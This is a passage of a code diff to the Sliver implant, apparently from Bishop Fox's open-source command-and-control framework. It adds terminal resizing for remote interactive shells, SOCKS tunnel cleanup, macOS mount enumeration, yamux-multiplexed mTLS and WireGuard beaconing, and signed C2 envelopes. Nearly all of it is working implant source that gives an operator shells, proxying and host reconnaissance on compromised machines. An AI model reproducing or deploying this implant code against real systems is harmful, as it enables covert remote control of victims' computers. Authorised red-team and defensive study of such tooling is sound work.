+		cols = 0xffff
+	}
+	systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY, uint16(rows), uint16(cols))
 	if systemShell == nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] Failed to get system shell")

implant/sliver/handlers/tunnel_handlers/shell_resize_handler_stub.go

@@ -0,0 +1,18 @@
+//go:build !darwin && !linux && !freebsd && !openbsd && !dragonfly
+
+package tunnel_handlers
+
+import (
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	resp, _ := proto.Marshal(&commonpb.Empty{})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: resp,
+	}
+}

implant/sliver/handlers/tunnel_handlers/shell_resize_handler_unix.go

@@ -0,0 +1,63 @@
+//go:build darwin || linux || freebsd || openbsd || dragonfly
+
+package tunnel_handlers
+
+import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"os"
+
+	"github.com/bishopfox/sliver/implant/sliver/shell/pty"
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+type ptyResizer interface {
+	Resize(rows, cols uint32) error
+}
+
+func ShellResizeReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
+	req := &sliverpb.ShellResizeReq{}
+	err := proto.Unmarshal(envelope.Data, req)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] Failed to unmarshal protobuf %s", err)
+		// {{end}}
+	} else if tun := connection.Tunnel(req.TunnelID); tun != nil {
+		rows := req.GetRows()
+		cols := req.GetCols()
+		if rows != 0 && cols != 0 {
+			if resizer, ok := tun.Writer.(ptyResizer); ok {
+				err := resizer.Resize(rows, cols)
+				if err != nil {
+					// {{if .Config.Debug}}
+					log.Printf("[shell] Failed to resize PTY: %s", err)
+					// {{end}}
+				}
+			} else if f, ok := tun.Writer.(*os.File); ok {
+				if rows > 0xffff {
+					rows = 0xffff
+				}
+				if cols > 0xffff {
+					cols = 0xffff
+				}
+				err := pty.Setsize(f, &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)})
+				if err != nil {
+					// {{if .Config.Debug}}
+					log.Printf("[shell] Failed to resize PTY: %s", err)
+					// {{end}}
+				}
+			}
+		}
+	}
+
+	resp, _ := proto.Marshal(&commonpb.Empty{})
+	connection.Send <- &sliverpb.Envelope{
+		ID:   envelope.ID,
+		Data: resp,
+	}
+}

implant/sliver/handlers/tunnel_handlers/socks_handler.go

@@ -36,16 +36,29 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
+const (
+	inactivityCheckInterval = 4 * time.Second
+	inactivityTimeout       = 15 * time.Second
+)
+
 type socksTunnelPool struct {
-	tunnels *sync.Map // map[uint64]chan []byte
+	tunnels      *sync.Map // map[uint64]chan []byte
+	lastActivity *sync.Map // map[uint64]time.Time
 }
 
 var socksTunnels = socksTunnelPool{
-	tunnels: &sync.Map{},
+	tunnels:      &sync.Map{},
+	lastActivity: &sync.Map{},
 }
 
 var socksServer *socks5.Server
 
+// Initialize socks server
+func init() {
+	socksServer = socks5.NewServer()
+	socksTunnels.startCleanupMonitor()
+}
+
 func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
 	socksData := &sliverpb.SocksData{}
 	err := proto.Unmarshal(envelope.Data, socksData)
@@ -55,9 +68,26 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 		// {{end}}
 		return
 	}
+	time.Sleep(10 * time.Millisecond) // Necessary delay
+
+	// Check early to see if this is a close request from server
+	if socksData.CloseConn {
+		if tunnel, ok := socksTunnels.tunnels.LoadAndDelete(socksData.TunnelID); ok {
+			if ch, ok := tunnel.(chan []byte); ok {
+				close(ch)
+			}
+		}
+		socksTunnels.lastActivity.Delete(socksData.TunnelID)
+		return
+	}
+
 	if socksData.Data == nil {
 		return
 	}
+
+	// Record activity as soon as we get data for this tunnel
+	socksTunnels.recordActivity(socksData.TunnelID)
+
 	// {{if .Config.Debug}}
 	log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
 	// {{end}}
@@ -70,8 +100,6 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 		socksServer = socks5.NewServer(
 			socks5.WithAuthMethods([]socks5.Authenticator{auth}),
 		)
-	} else {
-		socksServer = socks5.NewServer()
 	}
 
 	// {{if .Config.Debug}}
@@ -80,7 +108,7 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 
 	// init tunnel
 	if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
-		tunnelChan := make(chan []byte, 10)
+		tunnelChan := make(chan []byte, 100) // Buffered channel for 100 messages
 		socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
 		tunnelChan <- socksData.Data
 		err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
@@ -88,9 +116,12 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
 			// {{if .Config.Debug}}
 			log.Printf("[socks] Failed to serve connection: %v", err)
 			// {{end}}
+			// Cleanup on serve failure
+			socksTunnels.tunnels.Delete(socksData.TunnelID)
 			return
 		}
 	} else {
+		// Will block when channel is full
 		tunnel.(chan []byte) <- socksData.Data
 	}
 }
@@ -105,16 +136,22 @@ type socks struct {
 }
 
 func (s *socks) Read(b []byte) (n int, err error) {
+	time.Sleep(10 * time.Millisecond) // Necessary delay
+
 	channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
 	if !ok {
 		return 0, errors.New("[socks] invalid tunnel id")
 	}
 
+	socksTunnels.recordActivity(s.stream.TunnelID)
 	data := <-channel.(chan []byte)
 	return copy(b, data), nil
 }
 
 func (s *socks) Write(b []byte) (n int, err error) {
+	time.Sleep(10 * time.Millisecond) // Necessary delay
+
+	socksTunnels.recordActivity(s.stream.TunnelID)
 	data, err := proto.Marshal(&sliverpb.SocksData{
 		TunnelID: s.stream.TunnelID,
 		Data:     b,
@@ -136,12 +173,15 @@ func (s *socks) Write(b []byte) (n int, err error) {
 }
 
 func (s *socks) Close() error {
+	time.Sleep(10 * time.Millisecond) // Necessary delay
+
 	channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
 	if !ok {
 		return errors.New("[socks] can't close unknown channel")
 	}
 	close(channel.(chan []byte))
 
+	// Signal to server that we need to close this tunnel
 	data, err := proto.Marshal(&sliverpb.SocksData{
 		TunnelID:  s.stream.TunnelID,
 		CloseConn: true,
@@ -181,3 +221,38 @@ func (c *socks) SetReadDeadline(t time.Time) error {
 func (c *socks) SetWriteDeadline(t time.Time) error {
 	return nil
 }
+
+func (s *socksTunnelPool) recordActivity(tunnelID uint64) {
+	s.lastActivity.Store(tunnelID, time.Now())
+}
+
+// Periodically check for inactive tunnels and clean up
+func (s *socksTunnelPool) startCleanupMonitor() {
+	go func() {
+		ticker := time.NewTicker(inactivityCheckInterval)
+		defer ticker.Stop()
+
+		for range ticker.C {
+			s.tunnels.Range(func(key, value interface{}) bool {
+				tunnelID := key.(uint64)
+				lastActivityI, exists := s.lastActivity.Load(tunnelID)
+				if !exists {
+					// If no activity record exists, create one
+					s.recordActivity(tunnelID)
+					return true
+				}
+
+				lastActivity := lastActivityI.(time.Time)
+				if time.Since(lastActivity) > inactivityTimeout {
+					// Clean up the inactive tunnel
+					if ch, ok := value.(chan []byte); ok {
+						close(ch)
+					}
+					s.tunnels.Delete(tunnelID)
+					s.lastActivity.Delete(tunnelID)
+				}
+				return true
+			})
+		}
+	}()
+}

implant/sliver/mount/mount_darwin.go

@@ -0,0 +1,166 @@
+//go:build darwin
+
+package mount
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2023  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"strings"
+
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"golang.org/x/sys/unix"
+)
+
+func getString(input []byte) string {
+	ver := string(input)
+	if i := strings.Index(ver, "\x00"); i != -1 {
+		ver = ver[:i]
+	}
+	return ver
+}
+
+func formatMountFlags(flags uint32) string {
+	opts := make([]string, 0, 12)
+
+	if flags&unix.MNT_RDONLY != 0 {
+		opts = append(opts, "ro")
+	} else {
+		opts = append(opts, "rw")
+	}
+	if flags&unix.MNT_NOSUID != 0 {
+		opts = append(opts, "nosuid")
+	}
+	if flags&unix.MNT_NODEV != 0 {
+		opts = append(opts, "nodev")
+	}
+	if flags&unix.MNT_NOEXEC != 0 {
+		opts = append(opts, "noexec")
+	}
+	if flags&unix.MNT_SYNCHRONOUS != 0 {
+		opts = append(opts, "sync")
+	}
+	if flags&unix.MNT_ASYNC != 0 {
+		opts = append(opts, "async")
+	}
+	if flags&unix.MNT_NOATIME != 0 {
+		opts = append(opts, "noatime")
+	}
+	if flags&unix.MNT_JOURNALED != 0 {
+		opts = append(opts, "journaled")
+	}
+	if flags&unix.MNT_QUOTA != 0 {
+		opts = append(opts, "quota")
+	}
+	if flags&unix.MNT_UNION != 0 {
+		opts = append(opts, "union")
+	}
+	if flags&unix.MNT_AUTOMOUNTED != 0 {
+		opts = append(opts, "automounted")
+	}
+	if flags&unix.MNT_REMOVABLE != 0 {
+		opts = append(opts, "removable")
+	}
+	if flags&unix.MNT_DONTBROWSE != 0 {
+		opts = append(opts, "nobrowse")
+	}
+	if flags&unix.MNT_IGNORE_OWNERSHIP != 0 {
+		opts = append(opts, "ignore-ownership")
+	}
+	if flags&unix.MNT_LOCAL != 0 {
+		opts = append(opts, "local")
+	}
+	if flags&unix.MNT_ROOTFS != 0 {
+		opts = append(opts, "rootfs")
+	}
+	if flags&unix.MNT_SNAPSHOT != 0 {
+		opts = append(opts, "snapshot")
+	}
+	if flags&unix.MNT_CPROTECT != 0 {
+		opts = append(opts, "cprotect")
+	}
+	if flags&unix.MNT_NOUSERXATTR != 0 {
+		opts = append(opts, "nouserxattr")
+	}
+	if flags&unix.MNT_QUARANTINE != 0 {
+		opts = append(opts, "quarantine")
+	}
+	if flags&unix.MNT_UNKNOWNPERMISSIONS != 0 {
+		opts = append(opts, "unknown-permissions")
+	}
+	if flags&unix.MNT_DEFWRITE != 0 {
+		opts = append(opts, "defwrite")
+	}
+	if flags&unix.MNT_DOVOLFS != 0 {
+		opts = append(opts, "volfs")
+	}
+	if flags&unix.MNT_NOBLOCK != 0 {
+		opts = append(opts, "noblock")
+	}
+	if flags&unix.MNT_RELOAD != 0 {
+		opts = append(opts, "reload")
+	}
+	if flags&unix.MNT_UPDATE != 0 {
+		opts = append(opts, "update")
+	}
+	if flags&unix.MNT_EXPORTED != 0 {
+		opts = append(opts, "exported")
+	}
+	if flags&unix.MNT_MULTILABEL != 0 {
+		opts = append(opts, "multilabel")
+	}
+	if flags&unix.MNT_STRICTATIME != 0 {
+		opts = append(opts, "strictatime")
+	}
+	if flags&unix.MNT_FORCE != 0 {
+		opts = append(opts, "force")
+	}
+
+	return strings.Join(opts, ",")
+}
+
+func GetMountInformation() ([]*sliverpb.MountInfo, error) {
+	mountInfo := make([]*sliverpb.MountInfo, 0)
+
+	count, err := unix.Getfsstat(nil, unix.MNT_NOWAIT)
+	if err != nil || count == 0 {
+		return mountInfo, err
+	}
+
+	stats := make([]unix.Statfs_t, count)
+	count, err = unix.Getfsstat(stats, unix.MNT_NOWAIT)
+	if err != nil {
+		return mountInfo, err
+	}
+
+	stats = stats[:count]
+	for _, stat := range stats {
+		var mountData sliverpb.MountInfo
+		mountData.VolumeName = getString(stat.Mntfromname[:])
+		mountData.MountPoint = getString(stat.Mntonname[:])
+		mountData.Label = "/"
+		mountData.VolumeType = getString(stat.Fstypename[:])
+		mountData.MountOptions = formatMountFlags(stat.Flags)
+		mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
+		mountData.FreeSpace = stat.Bavail * uint64(stat.Bsize)
+		mountData.UsedSpace = (stat.Blocks - stat.Bfree) * uint64(stat.Bsize)
+		mountInfo = append(mountInfo, &mountData)
+	}
+
+	return mountInfo, nil
+}

implant/sliver/mount/mount_linux.go

@@ -1,7 +1,25 @@
-// +linux
+//go:build linux
 
 package mount
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2023  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"bufio"
 	"os"

implant/sliver/mount/mount_windows.go

@@ -1,5 +1,6 @@
 //go:build windows
-// +build windows
+
+package mount
 
 /*
 	Sliver Implant Framework
@@ -19,8 +20,6 @@
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
-package mount
-
 import (
 	"errors"
 	"fmt"

implant/sliver/procdump/dump_darwin.go

@@ -1,4 +1,4 @@
-// +darwin
+//go:build darwin
 
 package procdump
 

implant/sliver/shell/pty/pty_openbsd.go

@@ -2,6 +2,7 @@ package pty
 
 import (
 	"os"
+	"path/filepath"
 	"syscall"
 	"unsafe"
 )
@@ -26,8 +27,29 @@ func open() (pty, tty *os.File, err error) {
 		return nil, nil, err
 	}
 
-	pty = os.NewFile(uintptr(ptm.Cfd), "/dev/ptm")
-	tty = os.NewFile(uintptr(ptm.Sfd), "/dev/ptm")
+	cName := cString(ptm.Cn[:])
+	sName := cString(ptm.Sn[:])
+	ptyPath := "/dev/ptm"
+	ttyPath := "/dev/ptm"
+	if cName != "" {
+		ptyPath = filepath.Join("/dev", cName)
+	}
+	if sName != "" {
+		ttyPath = filepath.Join("/dev", sName)
+	}
+	pty = os.NewFile(uintptr(ptm.Cfd), ptyPath)
+	tty = os.NewFile(uintptr(ptm.Sfd), ttyPath)
 
 	return pty, tty, nil
 }
+
+func cString(in []int8) string {
+	out := make([]byte, 0, len(in))
+	for _, c := range in {
+		if c == 0 {
+			break
+		}
+		out = append(out, byte(c))
+	}
+	return string(out)
+}

implant/sliver/shell/shell-pty.go

@@ -21,13 +21,15 @@ package shell
 */
 
 import (
-
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
 
 	"context"
+	"os"
 	"os/exec"
+	"sync"
+	"syscall"
 
 	"github.com/bishopfox/sliver/implant/sliver/shell/pty"
 )
@@ -45,9 +47,9 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
+func StartInteractive(tunnelID uint64, command []string, enablePty bool, rows, cols uint16) (*Shell, error) {
 	if enablePty {
-		return ptyShell(tunnelID, command)
+		return ptyShell(tunnelID, command, rows, cols)
 	}
 	return pipedShell(tunnelID, command)
 }
@@ -98,7 +100,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 	}, err
 }
 
-func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
+func ptyShell(tunnelID uint64, command []string, rows, cols uint16) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[ptmx] %s", command)
 	// {{end}}
@@ -106,7 +108,7 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
 	ctx, cancel := context.WithCancel(context.Background())
 
 	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
-	term, err := pty.Start(cmd)
+	ptyFile, ttyFile, err := pty.Open()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[term] %v, falling back to piped shell...", err)
@@ -115,6 +117,39 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
 		return pipedShell(tunnelID, command)
 	}
 
+	ttyPath := ttyFile.Name()
+
+	if rows > 0 && cols > 0 {
+		sz := &pty.Winsize{Rows: rows, Cols: cols}
+		_ = pty.Setsize(ttyFile, sz)
+		_ = pty.Setsize(ptyFile, sz)
+	}
+
+	cmd.Stdout = ttyFile
+	cmd.Stdin = ttyFile
+	cmd.Stderr = ttyFile
+	if cmd.SysProcAttr == nil {
+		cmd.SysProcAttr = &syscall.SysProcAttr{}
+	}
+	cmd.SysProcAttr.Setctty = true
+	cmd.SysProcAttr.Setsid = true
+	err = cmd.Start()
+	if err != nil {
+		ptyFile.Close()
+		ttyFile.Close()
+		// {{if .Config.Debug}}
+		log.Printf("[term] %v, falling back to piped shell...", err)
+		// {{end}}
+		cancel()
+		return pipedShell(tunnelID, command)
+	}
+
+	term := &ptyRWC{
+		pty: ptyFile,
+		tty: ttyPath,
+	}
+	_ = ttyFile.Close()
+
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
@@ -124,6 +159,66 @@ func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
 	}, err
 }
 
+type ptyRWC struct {
+	pty *os.File
+	tty string
+
+	closeOnce sync.Once
+}
+
+func (p *ptyRWC) Read(b []byte) (int, error) {
+	return p.pty.Read(b)
+}
+
+func (p *ptyRWC) Write(b []byte) (int, error) {
+	return p.pty.Write(b)
+}
+
+func (p *ptyRWC) Close() error {
+	var retErr error
+	p.closeOnce.Do(func() {
+		if p.pty != nil {
+			retErr = p.pty.Close()
+		}
+	})
+	return retErr
+}
+
+func (p *ptyRWC) Resize(rows, cols uint32) error {
+	if rows > 0xffff {
+		rows = 0xffff
+	}
+	if cols > 0xffff {
+		cols = 0xffff
+	}
+	if rows == 0 || cols == 0 {
+		return nil
+	}
+
+	sz := &pty.Winsize{Rows: uint16(rows), Cols: uint16(cols)}
+	errTTY := error(nil)
+	if p.tty != "" {
+		ttyFile, err := os.OpenFile(p.tty, os.O_RDWR|syscall.O_NOCTTY, 0)
+		if err != nil {
+			errTTY = err
+		} else {
+			errTTY = pty.Setsize(ttyFile, sz)
+			_ = ttyFile.Close()
+		}
+	}
+	errPTY := error(nil)
+	if p.pty != nil {
+		errPTY = pty.Setsize(p.pty, sz)
+	}
+	if errTTY == nil || errPTY == nil {
+		return nil
+	}
+	if errTTY != nil {
+		return errTTY
+	}
+	return errPTY
+}
+
 // GetSystemShellPath - Find bash or sh
 func GetSystemShellPath(path string) []string {
 	if exists(path) {

implant/sliver/shell/shell_generic.go

@@ -43,7 +43,7 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
+func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
 	return pipedShell(tunnelID, command)
 }
 

implant/sliver/shell/shell_windows.go

@@ -62,7 +62,7 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
+func StartInteractive(tunnelID uint64, command []string, _ bool, _, _ uint16) (*Shell, error) {
 	return pipedShell(tunnelID, command)
 }
 

implant/sliver/transports/beacon.go

@@ -36,6 +36,11 @@ import (
 
 	// {{end}}
 
+	// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
+	"github.com/hashicorp/yamux"
+
+	// {{end}}
+
 	// {{if .Config.IncludeHTTP}}
 	"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
 	// {{end}}
@@ -192,6 +197,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
 	}
 
 	var conn *tls.Conn
+	var muxSession *yamux.Session
 	beacon := &Beacon{
 		ActiveC2: uri.String(),
 		Init: func() error {
@@ -202,15 +208,38 @@ func mtlsBeacon(uri *url.URL) *Beacon {
 			if err != nil {
 				return err
 			}
+			if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
+				_ = conn.Close()
+				return err
+			}
+			muxSession, err = yamux.Client(conn, nil)
+			if err != nil {
+				_ = conn.Close()
+				return err
+			}
 			return nil
 		},
 		Recv: func() (*pb.Envelope, error) {
-			return mtls.ReadEnvelope(conn)
+			stream, err := muxSession.Accept()
+			if err != nil {
+				return nil, err
+			}
+			defer stream.Close()
+			return mtls.ReadEnvelope(stream)
 		},
 		Send: func(envelope *pb.Envelope) error {
-			return mtls.WriteEnvelope(conn, envelope)
+			stream, err := muxSession.Open()
+			if err != nil {
+				return err
+			}
+			defer stream.Close()
+			return mtls.WriteEnvelope(stream, envelope)
 		},
 		Close: func() error {
+			if muxSession != nil {
+				_ = muxSession.Close()
+				muxSession = nil
+			}
 			if conn != nil {
 				err = conn.Close()
 				if err != nil {
@@ -242,6 +271,7 @@ func wgBeacon(uri *url.URL) *Beacon {
 
 	var conn net.Conn
 	var dev *device.Device
+	var muxSession *yamux.Session
 	beacon := &Beacon{
 		ActiveC2: uri.String(),
 		Init: func() error {
@@ -260,25 +290,48 @@ func wgBeacon(uri *url.URL) *Beacon {
 			if err != nil {
 				return err
 			}
+			if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
+				_ = conn.Close()
+				_ = dev.Down()
+				return err
+			}
+			muxSession, err = yamux.Client(conn, nil)
+			if err != nil {
+				_ = conn.Close()
+				_ = dev.Down()
+				return err
+			}
 			return nil
 		},
 		Recv: func() (*pb.Envelope, error) {
-			return wireguard.ReadEnvelope(conn)
+			stream, err := muxSession.Accept()
+			if err != nil {
+				return nil, err
+			}
+			defer stream.Close()
+			return wireguard.ReadEnvelope(stream)
 		},
 		Send: func(envelope *pb.Envelope) error {
-			return wireguard.WriteEnvelope(conn, envelope)
+			stream, err := muxSession.Open()
+			if err != nil {
+				return err
+			}
+			defer stream.Close()
+			return wireguard.WriteEnvelope(stream, envelope)
 		},
 		Close: func() error {
-			err = conn.Close()
-			if err != nil {
-				return err
+			if muxSession != nil {
+				_ = muxSession.Close()
+				muxSession = nil
 			}
-			err = dev.Down()
-			if err != nil {
-				return err
+			if conn != nil {
+				_ = conn.Close()
+				conn = nil
+			}
+			if dev != nil {
+				_ = dev.Down()
+				dev = nil
 			}
-			conn = nil
-			dev = nil
 			return nil
 		},
 		Cleanup: func() error {

implant/sliver/transports/mtls/mtls.go

@@ -22,12 +22,15 @@ package mtls
 
 import (
 	"bytes"
+	"crypto/ed25519"
+	"crypto/sha256"
 	"crypto/tls"
 	"crypto/x509"
 	"encoding/binary"
 	"errors"
 	"fmt"
 	"io"
+	"sync"
 	"time"
 
 	// {{if .Config.Debug}}
@@ -35,9 +38,11 @@ import (
 	// {{end}}
 
 	"os"
+	"strings"
 
 	"github.com/bishopfox/sliver/implant/sliver/cryptography"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+	"golang.org/x/crypto/blake2b"
 	"google.golang.org/protobuf/proto"
 )
 
@@ -45,6 +50,9 @@ var (
 	// PingInterval - Amount of time between in-band "pings"
 	PingInterval = 2 * time.Minute
 
+	// YamuxPreface - Magic bytes sent before yamux frames
+	YamuxPreface = "MUX/1"
+
 	// caCertPEM - PEM encoded CA certificate
 	caCertPEM = `{{.Build.MtlsCACert}}`
 
@@ -52,10 +60,40 @@ var (
 	certPEM = `{{.Build.MtlsCert}}`
 )
 
+const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
+
+var (
+	envelopeSigningOnce  sync.Once
+	envelopeSigningErr   error
+	envelopeSigningKeyID uint64
+	envelopeSigningPriv  ed25519.PrivateKey
+)
+
+func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
+	envelopeSigningOnce.Do(func() {
+		peerKeyPair := cryptography.GetPeerAgeKeyPair()
+		// NOTE: This file is rendered with Go's text/template; avoid literal template
+		// delimiters in string checks or the template parser will treat it as an action.
+		if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
+			envelopeSigningErr = errors.New("[mtls] missing peer private key")
+			return
+		}
+
+		seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerKeyPair.Private))
+		envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
+
+		pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
+		digest := blake2b.Sum256(pub)
+		envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
+	})
+
+	return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
+}
+
 // WriteEnvelope - Writes a message to the TLS socket using length prefix framing
 // which is a fancy way of saying we write the length of the message then the message
 // e.g. [uint32 length|message] so the receiver can delimit messages properly
-func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
+func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
 	data, err := proto.Marshal(envelope)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -63,15 +101,28 @@ func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
 		// {{end}}
 		return err
 	}
+
+	signingKey, keyID, err := mtlsEnvelopeSigningKey()
+	if err != nil {
+		return err
+	}
+	rawSigBuf := make([]byte, cryptography.RawSigSize)
+	binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
+	binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
+	copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
+	if _, werr := w.Write(rawSigBuf); werr != nil {
+		return werr
+	}
+
 	dataLengthBuf := new(bytes.Buffer)
 	binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
-	if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
+	if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
 		// {{if .Config.Debug}}
 		log.Print("Error writing data length: ", werr)
 		// {{end}}
 		return werr
 	}
-	if _, werr := connection.Write(data); werr != nil {
+	if _, werr := w.Write(data); werr != nil {
 		// {{if .Config.Debug}}
 		log.Print("Error writing data: ", werr)
 		// {{end}}
@@ -81,7 +132,7 @@ func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
 }
 
 // WritePing - Send a "ping" message to the server
-func WritePing(connection *tls.Conn) error {
+func WritePing(w io.Writer) error {
 	// {{if .Config.Debug}}
 	log.Print("Socket ping")
 	// {{end}}
@@ -92,16 +143,26 @@ func WritePing(connection *tls.Conn) error {
 		Type: pb.MsgPing,
 		Data: pingBuf,
 	}
-	return WriteEnvelope(connection, &envelope)
+	return WriteEnvelope(w, &envelope)
 }
 
 // ReadEnvelope - Reads a message from the TLS connection using length prefix framing
-func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
+func ReadEnvelope(r io.Reader) (*pb.Envelope, error) {
+	rawSigBuf := make([]byte, cryptography.RawSigSize)
 	dataLengthBuf := make([]byte, 4) // Size of uint32
-	if len(dataLengthBuf) == 0 || connection == nil {
+	if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || r == nil {
 		panic("[[GenerateCanary]]")
 	}
-	n, err := io.ReadFull(connection, dataLengthBuf)
+
+	n, err := io.ReadFull(r, rawSigBuf)
+	if err != nil || n != len(rawSigBuf) {
+		// {{if .Config.Debug}}
+		log.Printf("Socket error (read raw signature): %v\n", err)
+		// {{end}}
+		return nil, err
+	}
+
+	n, err = io.ReadFull(r, dataLengthBuf)
 	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("Socket error (read msg-length): %v\n", err)
@@ -119,7 +180,7 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
 
 	dataBuf := make([]byte, dataLength)
 
-	n, err = io.ReadFull(connection, dataBuf)
+	n, err = io.ReadFull(r, dataBuf)
 
 	if err != nil || n != dataLength {
 		// {{if .Config.Debug}}
@@ -128,6 +189,13 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
 		return nil, err
 	}
 
+	if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
+		// {{if .Config.Debug}}
+		log.Printf("Invalid signature on mtls envelope")
+		// {{end}}
+		return nil, errors.New("[mtls] invalid signature")
+	}
+
 	// Unmarshal the protobuf envelope
 	envelope := &pb.Envelope{}
 	err = proto.Unmarshal(dataBuf, envelope)

implant/sliver/transports/session.go

@@ -39,6 +39,11 @@ import (
 
 	// {{end}}
 
+	// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
+	"github.com/hashicorp/yamux"
+
+	// {{end}}
+
 	// {{if .Config.IncludeWG}}
 	"errors"
 
@@ -62,18 +67,19 @@ import (
 	// {{end}}
 
 	// {{if not .Config.IncludeNamePipe}}
-	"io"
 	"net/url"
 	"sync"
 
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 	// {{end}}
 
+	"io"
 	"time"
 )
 
 var (
 	_ time.Duration // Force import
+	_ io.ReadCloser // Force import
 )
 
 type Start func() error
@@ -198,7 +204,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 	send := make(chan *pb.Envelope)
 	recv := make(chan *pb.Envelope)
 	ctrl := make(chan struct{})
+	done := make(chan struct{})
 	var conn *tls.Conn
+	var muxSession *yamux.Session
 
 	connection := &Connection{
 		Send:    send,
